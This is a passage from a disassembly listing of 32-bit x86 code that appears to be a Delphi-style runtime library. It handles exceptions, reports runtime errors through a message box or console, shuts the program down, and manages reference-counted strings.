loc_12F44: ; CODE XREF: sub_131A8-37Dj ; sub_131A8-35Bj ... mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_131A8 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_11904 loc_12F4C: ; CODE XREF: sub_11904:loc_119CCj ; sub_119DC:loc_11AD0j ... mov eax, [esp+4] mov edx, [esp+8] test dword ptr [eax+4], 6 jz short loc_12F7C mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_12F7C push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_12DBC call ecx pop ebp pop edi pop esi pop ebx loc_12F7C: ; CODE XREF: sub_11904+1657j ; DATA XREF: sub_11904+165Co mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_11904 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12F84 proc near ; CODE XREF: sub_131A8+5Fp ; sub_13218+5Fp arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_12FCF call sub_13A18 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_12FBE mov eax, [edx+8] call sub_12D24 call sub_12D30 loc_12FBE: ; CODE XREF: sub_12F84+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_12FCF: ; DATA XREF: sub_12F84+4o mov eax, 1 retn sub_12F84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12FD8 proc near ; CODE XREF: sub_131A8+64p ; sub_13218+64p ... arg_2C = dword ptr 30h call sub_13A18 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+8] call sub_12D24 pop edx mov esp, [esp-4+arg_2C] xor eax, eax pop ecx mov fs:[eax], ecx pop eax pop ebp call sub_12DE4 jmp edx sub_12FD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_13008 proc near ; CODE XREF: sub_12160+10Cp ; sub_12160+16Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor edx, edx mov ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, 5 mov fs:[edx], eax call ecx retn 0Ch sub_13008 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h loc_13020: ; CODE XREF: CODE:00013120j ; CODE:0001312Cj push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_1305B jz short loc_1308D cmp eax, 0C000008Eh jg short loc_1304D jz short loc_13091 sub eax, 0C0000005h jz short loc_1309D sub eax, 87h jz short loc_13085 dec eax jz short loc_13099 jmp short loc_130AD ; --------------------------------------------------------------------------- loc_1304D: ; CODE XREF: CODE:00013036j add eax, 3FFFFF71h sub eax, 2 jb short loc_1308D jz short loc_13089 jmp short loc_130AD ; --------------------------------------------------------------------------- loc_1305B: ; CODE XREF: CODE:0001302Dj cmp eax, 0C0000096h jg short loc_13073 jz short loc_130A1 sub eax, 0C0000093h jz short loc_13099 dec eax jz short loc_13081 dec eax jz short loc_13095 jmp short loc_130AD ; --------------------------------------------------------------------------- loc_13073: ; CODE XREF: CODE:00013060j sub eax, 0C00000FDh jz short loc_130A9 sub eax, 3Dh jz short loc_130A5 jmp short loc_130AD ; --------------------------------------------------------------------------- loc_13081: ; CODE XREF: CODE:0001306Cj mov al, 0C8h jmp short loc_130AF ; --------------------------------------------------------------------------- loc_13085: ; CODE XREF: CODE:00013046j mov al, 0C9h jmp short loc_130AF ; --------------------------------------------------------------------------- loc_13089: ; CODE XREF: CODE:00013057j mov al, 0CDh jmp short loc_130AF ; --------------------------------------------------------------------------- loc_1308D: ; CODE XREF: CODE:0001302Fj ; CODE:00013055j mov al, 0CFh jmp short loc_130AF ; --------------------------------------------------------------------------- loc_13091: ; CODE XREF: CODE:00013038j mov al, 0C8h jmp short loc_130AF ; --------------------------------------------------------------------------- loc_13095: ; CODE XREF: CODE:0001306Fj mov al, 0D7h jmp short loc_130AF ; --------------------------------------------------------------------------- loc_13099: ; CODE XREF: CODE:00013049j ; CODE:00013069j mov al, 0CEh jmp short loc_130AF ; --------------------------------------------------------------------------- loc_1309D: ; CODE XREF: CODE:0001303Fj mov al, 0D8h jmp short loc_130AF ; --------------------------------------------------------------------------- loc_130A1: ; CODE XREF: CODE:00013062j mov al, 0DAh jmp short loc_130AF ; --------------------------------------------------------------------------- loc_130A5: ; CODE XREF: CODE:0001307Dj mov al, 0D9h jmp short loc_130AF ; --------------------------------------------------------------------------- loc_130A9: ; CODE XREF: CODE:00013078j mov al, 0CAh jmp short loc_130AF ; --------------------------------------------------------------------------- loc_130AD: ; CODE XREF: CODE:0001304Bj ; CODE:00013059j ... mov al, 0FFh loc_130AF: ; CODE XREF: CODE:00013083j ; CODE:00013087j ... and eax, 0FFh mov edx, [edx+0Ch] call sub_12854 ; --------------------------------------------------------------------------- pop ebp retn 4 ; --------------------------------------------------------------------------- loc_130C0: ; DATA XREF: sub_13160+Do mov eax, [esp+4] test dword ptr [eax+4], 6 jnz loc_1315A cmp ds:byte_16010, 0 ja short loc_130E9 lea eax, [esp+4] push eax call UnhandledExceptionFilter ; UnhandledExceptionFilter cmp eax, 0 jz short loc_1315A loc_130E9: ; CODE XREF: CODE:000130D8j mov eax, [esp+4] cld call sub_12D18 mov edx, [esp+8] push 0 push eax push offset loc_13106 push edx call ds:dword_17014 loc_13106: ; DATA XREF: CODE:000130FAo mov ebx, [esp+4] cmp dword ptr [ebx], 0EEDFADEh mov edx, [ebx+14h] mov eax, [ebx+18h] jz short loc_13135 mov edx, ds:dword_1700C test edx, edx jz loc_13020 mov eax, ebx call edx ; dword_1700C test eax, eax jz loc_13020 mov edx, [ebx+0Ch] loc_13135: ; CODE XREF: CODE:00013116j call sub_12E00 mov ecx, ds:dword_17004 test ecx, ecx jz short loc_13146 call ecx ; dword_17004 loc_13146: ; CODE XREF: CODE:00013142j mov ecx, [esp+4] mov eax, 0D9h mov edx, [ecx+14h] mov [esp], edx jmp sub_134CC ; --------------------------------------------------------------------------- loc_1315A: ; CODE XREF: CODE:000130CBj ; CODE:000130E7j xor eax, eax retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13160 proc near ; CODE XREF: sub_13288+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset loc_130C0 mov [eax+8], ebp mov ds:dword_17624, eax retn sub_13160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13180 proc near ; CODE XREF: sub_133E0:loc_13470p xor edx, edx mov eax, ds:dword_17624 test eax, eax jz short locret_131A7 mov ecx, fs:[edx] cmp eax, ecx jnz short loc_1319A mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_13198: ; CODE XREF: sub_13180+21j mov ecx, [ecx] loc_1319A: ; CODE XREF: sub_13180+10j cmp ecx, 0FFFFFFFFh jz short locret_131A7 cmp [ecx], eax jnz short loc_13198 mov eax, [eax] mov [ecx], eax locret_131A7: ; CODE XREF: sub_13180+9j ; sub_13180+1Dj retn sub_13180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_131A8(struct _EXCEPTION_POINTERS ExceptionInfo, int) sub_131A8 proc near ; CODE XREF: sub_131A8+5Ap ; sub_13218+5Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 ExceptionInfo = _EXCEPTION_POINTERS ptr 8 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00012E20 SIZE 00000104 BYTES ; FUNCTION CHUNK AT 00012F44 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, offset dword_17620 mov eax, [esi+8] test eax, eax jz short loc_13211 mov ebx, [esi+0Ch] mov eax, [eax+4] mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_131FD push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jle short loc_131F3 loc_131D8: ; CODE XREF: sub_131A8+49j dec ebx mov [esi+0Ch], ebx mov eax, [ebp+var_4] mov eax, [eax+ebx*8+4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_131EF call [ebp+var_8] loc_131EF: ; CODE XREF: sub_131A8+42j test ebx, ebx jg short loc_131D8 loc_131F3: ; CODE XREF: sub_131A8+2Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_13211 ; --------------------------------------------------------------------------- loc_131FD: ; DATA XREF: sub_131A8+21o jmp loc_12E20 ; --------------------------------------------------------------------------- call sub_131A8 call sub_12F84 call sub_12FD8 loc_13211: ; CODE XREF: sub_131A8+13j ; sub_131A8+53j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_131A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13218 proc near ; CODE XREF: sub_13288+3Ap var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov edi, offset dword_17620 mov eax, [edi+8] test eax, eax jz short loc_13281 mov esi, [eax] xor ebx, ebx mov eax, [eax+4] mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_1326D push dword ptr fs:[eax] mov fs:[eax], esp cmp esi, ebx jle short loc_13263 loc_13249: ; CODE XREF: sub_13218+49j mov eax, [ebp+var_4] mov eax, [eax+ebx*8] mov [ebp+var_8], eax inc ebx mov [edi+0Ch], ebx cmp [ebp+var_8], 0 jz short loc_1325F call [ebp+var_8] loc_1325F: ; CODE XREF: sub_13218+42j cmp esi, ebx jg short loc_13249 loc_13263: ; CODE XREF: sub_13218+2Fj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_13281 ; --------------------------------------------------------------------------- loc_1326D: ; DATA XREF: sub_13218+22o jmp loc_12E20 ; --------------------------------------------------------------------------- call sub_131A8 call sub_12F84 call sub_12FD8 loc_13281: ; CODE XREF: sub_13218+13j ; sub_13218+53j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_13218 endp ; =============== S U B R O U T I N E ======================================= sub_13288 proc near ; CODE XREF: sub_13A64+3Ap mov ds:dword_17010, offset RaiseException mov ds:dword_17014, offset RtlUnwind mov ds:dword_17628, eax xor eax, eax mov ds:dword_1762C, eax mov ds:dword_17630, edx mov eax, [edx+4] mov ds:dword_1701C, eax call sub_13160 mov ds:byte_17024, 0 call sub_13218 retn sub_13288 endp ; =============== S U B R O U T I N E ======================================= sub_132C8 proc near ; CODE XREF: sub_133E0+34p push ebx push esi push edi mov esi, offset Text ; "Runtime error at 00000000" mov cl, 10h mov ebx, ds:uExitCode loc_132D8: ; CODE XREF: sub_132C8+33j mov eax, ebx mov edi, 0Ah cdq idiv edi add dl, 30h xor eax, eax mov al, cl mov [esi+eax], dl mov eax, ebx mov ebx, 0Ah cdq idiv ebx mov ebx, eax dec ecx test ebx, ebx jnz short loc_132D8 mov cl, 1Ch mov eax, ds:dword_16004 loc_13304: ; CODE XREF: sub_132C8+54j mov edx, eax and edx, 0Fh mov dl, ds:byte_16074[edx] xor ebx, ebx mov bl, cl mov [esi+ebx], dl shr eax, 4 dec ecx test eax, eax jnz short loc_13304 pop edi pop esi pop ebx retn sub_132C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_13324 proc near ; CODE XREF: sub_133E0+A4p xor eax, eax xchg eax, ds:uExitCode neg eax sbb eax, eax inc eax mov edi, offset dword_17620 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_13324 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_13354 proc near ; CODE XREF: sub_133E0+39p NumberOfBytesWritten= dword ptr -4 push ecx cmp ds:byte_17034, 0 jz short loc_133B5 cmp ds:word_17208, 0D7B2h jnz short loc_1337D cmp ds:dword_17210, 0 jbe short loc_1337D mov eax, offset dword_17204 call ds:dword_17220 loc_1337D: ; CODE XREF: sub_13354+13j ; sub_13354+1Cj push 0 ; lpOverlapped lea eax, [esp+8+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push 1Eh ; nNumberOfBytesToWrite push offset Text ; "Runtime error at 00000000" push 0FFFFFFF5h ; nStdHandle call GetStdHandle ; GetStdHandle push eax ; hFile call WriteFile ; WriteFile push 0 ; lpOverlapped lea eax, [esp+8+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push 2 ; nNumberOfBytesToWrite push offset dword_133DC ; lpBuffer push 0FFFFFFF5h ; nStdHandle call GetStdHandle ; GetStdHandle push eax ; hFile call WriteFile ; WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_133B5: ; CODE XREF: sub_13354+8j cmp ds:byte_16018, 0 jnz short loc_133D1 push 0 ; uType push offset Caption ; "Error" push offset Text ; "Runtime error at 00000000" push 0 ; hWnd call MessageBoxA ; MessageBoxA loc_133D1: ; CODE XREF: sub_13354+68j pop edx retn sub_13354 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_133DC dd 0A0Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn ; int __fastcall sub_133E0(struct _EXCEPTION_POINTERS ExceptionInfo) sub_133E0 proc near ; CODE XREF: sub_134C0+5p ; CODE:loc_15208p var_14 = dword ptr -14h ExceptionInfo = _EXCEPTION_POINTERS ptr 4 push ebx push esi push edi push ebp push ecx ; ExceptionInfo mov ebx, offset dword_17620 mov esi, offset dword_17030 cmp byte ptr [ebx+28h], 0 jnz short loc_1340B cmp dword ptr [esi], 0 jz short loc_1340B loc_133FA: ; CODE XREF: sub_133E0+29j mov eax, [esi] mov [esp+14h+var_14], eax xor eax, eax mov [esi], eax call [esp+14h+var_14] cmp dword ptr [esi], 0 jnz short loc_133FA loc_1340B: ; CODE XREF: sub_133E0+13j ; sub_133E0+18j cmp ds:dword_16004, 0 jz short loc_13425 call sub_132C8 call sub_13354 xor eax, eax mov ds:dword_16004, eax loc_13425: ; CODE XREF: sub_133E0+32j ; sub_133E0+D5j cmp byte ptr [ebx+28h], 2 jnz short loc_13439 cmp ds:uExitCode, 0 jnz short loc_13439 xor eax, eax mov [ebx+0Ch], eax loc_13439: ; CODE XREF: sub_133E0+49j ; sub_133E0+52j call sub_131A8 cmp byte ptr [ebx+28h], 1 jbe short loc_1344D cmp ds:uExitCode, 0 jz short loc_13470 loc_1344D: ; CODE XREF: sub_133E0+62j mov edi, [ebx+10h] test edi, edi jz short loc_13470 mov eax, edi call sub_13780 mov ebp, [ebx+10h] mov esi, [ebp+10h] cmp esi, [ebp+4] jz short loc_13470 test esi, esi jz short loc_13470 push esi ; hLibModule call FreeLibrary ; FreeLibrary loc_13470: ; CODE XREF: sub_133E0+6Bj ; sub_133E0+72j ... call sub_13180 cmp byte ptr [ebx+28h], 1 jnz short loc_1347E call dword ptr [ebx+24h] loc_1347E: ; CODE XREF: sub_133E0+99j cmp byte ptr [ebx+28h], 0 jz short loc_13489 call sub_13324 loc_13489: ; CODE XREF: sub_133E0+A2j cmp dword ptr [ebx], 0 jnz short loc_134A8 cmp ds:dword_17018, 0 jz short loc_1349D call ds:dword_17018 loc_1349D: ; CODE XREF: sub_133E0+B5j mov eax, ds:uExitCode push eax ; uExitCode call ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_134A8: ; CODE XREF: sub_133E0+ACj mov eax, [ebx] mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd jmp loc_13425 sub_133E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop edx pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_134C0 proc near ; CODE XREF: sub_12854+6p sub_134CC+6j mov ds:uExitCode, eax call sub_133E0 sub_134C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C3h ; à align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_134CC proc near ; CODE XREF: CODE:00013155j ; sub_139D4+1Ap ... pop ds:dword_16004 jmp sub_134C0 sub_134CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_134D8 proc near ; CODE XREF: sub_12A6C+Ep ; sub_1359C+23p ... mov edx, [eax] test edx, edx jz short locret_134FA mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_134FA lock dec dword ptr [edx-8] jnz short locret_134FA push eax lea eax, [edx-8] call sub_127E4 pop eax locret_134FA: ; CODE XREF: sub_134D8+4j ; sub_134D8+10j ... retn sub_134D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_134FC proc near ; CODE XREF: sub_13F18+2CDp ; sub_1434C+307p ... push ebx push esi mov ebx, eax mov esi, edx loc_13502: ; CODE XREF: sub_134FC+2Aj mov edx, [ebx] test edx, edx jz short loc_13522 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_13522 lock dec dword ptr [edx-8] jnz short loc_13522 lea eax, [edx-8] call sub_127E4 loc_13522: ; CODE XREF: sub_134FC+Aj ; sub_134FC+16j ... add ebx, 4 dec esi jnz short loc_13502 pop esi pop ebx retn sub_134FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1352C proc near ; CODE XREF: sub_135FC+8j ; sub_14F44+8Cp ... test edx, edx jz short loc_13554 mov ecx, [edx-8] inc ecx jg short loc_13550 push eax push edx mov eax, [edx-4] call sub_13570 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_128C8 pop edx pop eax jmp short loc_13554 ; --------------------------------------------------------------------------- loc_13550: ; CODE XREF: sub_1352C+8j lock inc dword ptr [edx-8] loc_13554: ; CODE XREF: sub_1352C+2j ; sub_1352C+22j xchg edx, [eax] test edx, edx jz short locret_1356E mov ecx, [edx-8] dec ecx jl short locret_1356E lock dec dword ptr [edx-8] jnz short locret_1356E lea eax, [edx-8] call sub_127E4 locret_1356E: ; CODE XREF: sub_1352C+2Cj ; sub_1352C+32j ... retn sub_1352C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13570 proc near ; CODE XREF: sub_1352C+Fp sub_1359C+Bp ... test eax, eax jle short loc_13598 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_127B4 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_13598: ; CODE XREF: sub_13570+2j xor eax, eax retn sub_13570 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1359C proc near ; CODE XREF: sub_12A6C+30p ; sub_135CC+8p ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_13570 mov ecx, edi mov edi, eax test esi, esi jz short loc_135BD mov edx, eax mov eax, esi call sub_128C8 loc_135BD: ; CODE XREF: sub_1359C+16j mov eax, ebx call sub_134D8 mov [ebx], edi pop edi pop esi pop ebx retn sub_1359C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_135CC proc near ; CODE XREF: sub_13E48+51p ; sub_14990+AEp push edx mov edx, esp mov ecx, 1 call sub_1359C pop edx retn sub_135CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_135DC proc near ; CODE XREF: sub_13804+36p push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_135E9 not ecx loc_135E9: ; CODE XREF: sub_135DC+9j pop eax add ecx, eax pop eax pop edi jmp sub_1359C sub_135DC endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_135F4 proc near ; CODE XREF: sub_13B78+Fp ; sub_13D28+12p ... test eax, eax jz short locret_135FB mov eax, [eax-4] locret_135FB: ; CODE XREF: sub_135F4+2j retn sub_135F4 endp ; =============== S U B R O U T I N E ======================================= sub_135FC proc near ; CODE XREF: sub_13E48+5Cp ; sub_14990+B9p test edx, edx jz short locret_1363F mov ecx, [eax] test ecx, ecx jz sub_1352C push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_13634 call sub_136A8 mov eax, esi mov ecx, [esi-4] loc_13627: ; CODE XREF: sub_135FC+41j mov edx, [ebx] add edx, edi call sub_128C8 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_13634: ; CODE XREF: sub_135FC+1Fj call sub_136A8 mov eax, [ebx] mov ecx, edi jmp short loc_13627 ; --------------------------------------------------------------------------- locret_1363F: ; CODE XREF: sub_135FC+2j retn sub_135FC endp ; =============== S U B R O U T I N E ======================================= sub_13640 proc near ; CODE XREF: sub_13E48+14p ; sub_14810+17p ... test eax, eax jz short locret_1364E mov edx, [eax-8] inc edx jle short locret_1364E lock inc dword ptr [eax-8] locret_1364E: ; CODE XREF: sub_13640+2j sub_13640+8j retn sub_13640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13650 proc near ; CODE XREF: sub_13D28+35p ; sub_13F18+38p ... test eax, eax jz short loc_13656 retn ; --------------------------------------------------------------------------- byte_13655 db 0 ; DATA XREF: sub_13650:loc_13656o ; --------------------------------------------------------------------------- loc_13656: ; CODE XREF: sub_13650+2j mov eax, offset byte_13655 retn sub_13650 endp ; =============== S U B R O U T I N E ======================================= sub_1365C proc near ; CODE XREF: sub_136A0j mov edx, [eax] test edx, edx jz short loc_1369A mov ecx, [edx-8] dec ecx jz short loc_1369A push ebx mov ebx, eax mov eax, [edx-4] call sub_13570 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_128C8 pop eax mov ecx, [eax-8] dec ecx jl short loc_13697 lock dec dword ptr [eax-8] jnz short loc_13697 lea eax, [eax-8] call sub_127E4 loc_13697: ; CODE XREF: sub_1365C+2Bj ; sub_1365C+31j mov edx, [ebx] pop ebx loc_1369A: ; CODE XREF: sub_1365C+4j sub_1365C+Aj mov eax, edx retn sub_1365C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_136A0 proc near ; CODE XREF: sub_13D28+2Cp ; sub_14810+42p ... jmp sub_1365C sub_136A0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_136A8 proc near ; CODE XREF: sub_12908+B3p ; sub_135FC+21p ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_136FD mov eax, [ebx] test eax, eax jz short loc_136DE cmp dword ptr [eax-8], 1 jnz short loc_136DE sub eax, 8 add edx, 9 push eax mov eax, esp call sub_12804 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_13706 ; --------------------------------------------------------------------------- loc_136DE: ; CODE XREF: sub_136A8+11j ; sub_136A8+17j mov eax, edx call sub_13570 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_136FD mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_136F8 mov ecx, esi loc_136F8: ; CODE XREF: sub_136A8+4Cj call sub_128C8 loc_136FD: ; CODE XREF: sub_136A8+Bj ; sub_136A8+43j mov eax, ebx call sub_134D8 mov [ebx], edi loc_13706: ; CODE XREF: sub_136A8+34j pop edi pop esi pop ebx retn sub_136A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_1370C proc near ; DATA XREF: sub_138CC+2Fo mov al, 11h jmp sub_128AC sub_1370C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13714 proc near ; CODE XREF: sub_13780+1Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, ds:dword_16020 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_13767 loc_1372E: ; CODE XREF: sub_13714+51j xor eax, eax push ebp push offset loc_1374F push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_13759 ; --------------------------------------------------------------------------- loc_1374F: ; DATA XREF: sub_13714+1Do jmp loc_12E20 ; --------------------------------------------------------------------------- call sub_12FD8 loc_13759: ; CODE XREF: sub_13714+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_1372E loc_13767: ; CODE XREF: sub_13714+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_13714 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13770 proc near ; CODE XREF: sub_13A58+5p mov edx, ds:dword_1601C mov [eax], edx mov ds:dword_1601C, eax retn sub_13770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13780 proc near ; CODE XREF: sub_133E0+76p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_137F9 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_13714 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13800 loc_137AF: ; CODE XREF: sub_13780+7Ej mov eax, [ebp+var_4] cmp eax, ds:dword_1601C jnz short loc_137C6 mov eax, [ebp+var_4] mov eax, [eax] mov ds:dword_1601C, eax jmp short loc_137F8 ; --------------------------------------------------------------------------- loc_137C6: ; CODE XREF: sub_13780+38j mov eax, ds:dword_1601C mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_137F8 loc_137D4: ; CODE XREF: sub_13780+76j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, [ebp+var_4] jnz short loc_137EA mov eax, [ebp+var_4] mov eax, [eax] mov edx, [ebp+var_8] mov [edx], eax jmp short loc_137F8 ; --------------------------------------------------------------------------- loc_137EA: ; CODE XREF: sub_13780+5Cj mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_137D4 loc_137F8: ; CODE XREF: sub_13780+44j ; sub_13780+52j ... retn ; --------------------------------------------------------------------------- loc_137F9: ; DATA XREF: sub_13780+Co jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_137AF ; --------------------------------------------------------------------------- loc_13800: ; CODE XREF: sub_13780:loc_137F8j ; DATA XREF: sub_13780+2Ao pop ecx pop ecx pop ebp retn sub_13780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13804 proc near ; CODE XREF: sub_138CC+ADp ; sub_138CC+BEp var_10 = dword ptr -10h LCData = byte ptr -0Bh var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx xor edx, edx push ebp push offset loc_1386A push dword ptr fs:[edx] mov fs:[edx], esp push 7 ; cchData lea edx, [ebp+LCData] push edx ; lpLCData push 1004h ; LCType push eax ; Locale call GetLocaleInfoA ; GetLocaleInfoA lea eax, [ebp+var_10] lea edx, [ebp+LCData] mov ecx, 7 call sub_135DC mov eax, [ebp+var_10] lea edx, [ebp+var_4] call sub_12B48 mov ebx, eax cmp [ebp+var_4], 0 jz short loc_13854 xor ebx, ebx loc_13854: ; CODE XREF: sub_13804+4Cj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13871 loc_13861: ; CODE XREF: sub_13804+6Bj lea eax, [ebp+var_10] call sub_134D8 retn ; --------------------------------------------------------------------------- loc_1386A: ; DATA XREF: sub_13804+Fo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13861 ; --------------------------------------------------------------------------- loc_13871: ; CODE XREF: sub_13804+65j ; DATA XREF: sub_13804+58o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_13804 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13878 proc near ; DATA XREF: CODE:000150C0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_138C2 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_175A4 jnz short loc_138B4 mov eax, offset dword_17038 call sub_12AD0 mov eax, offset dword_17204 call sub_12AD0 mov eax, offset dword_173D0 call sub_12AD0 call sub_119DC loc_138B4: ; CODE XREF: sub_13878+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_138C9 loc_138C1: ; CODE XREF: sub_13878+4Fj retn ; --------------------------------------------------------------------------- loc_138C2: ; DATA XREF: sub_13878+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_138C1 ; --------------------------------------------------------------------------- loc_138C9: ; CODE XREF: sub_13878:loc_138C1j ; DATA XREF: sub_13878+44o pop ebp retn sub_13878 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E 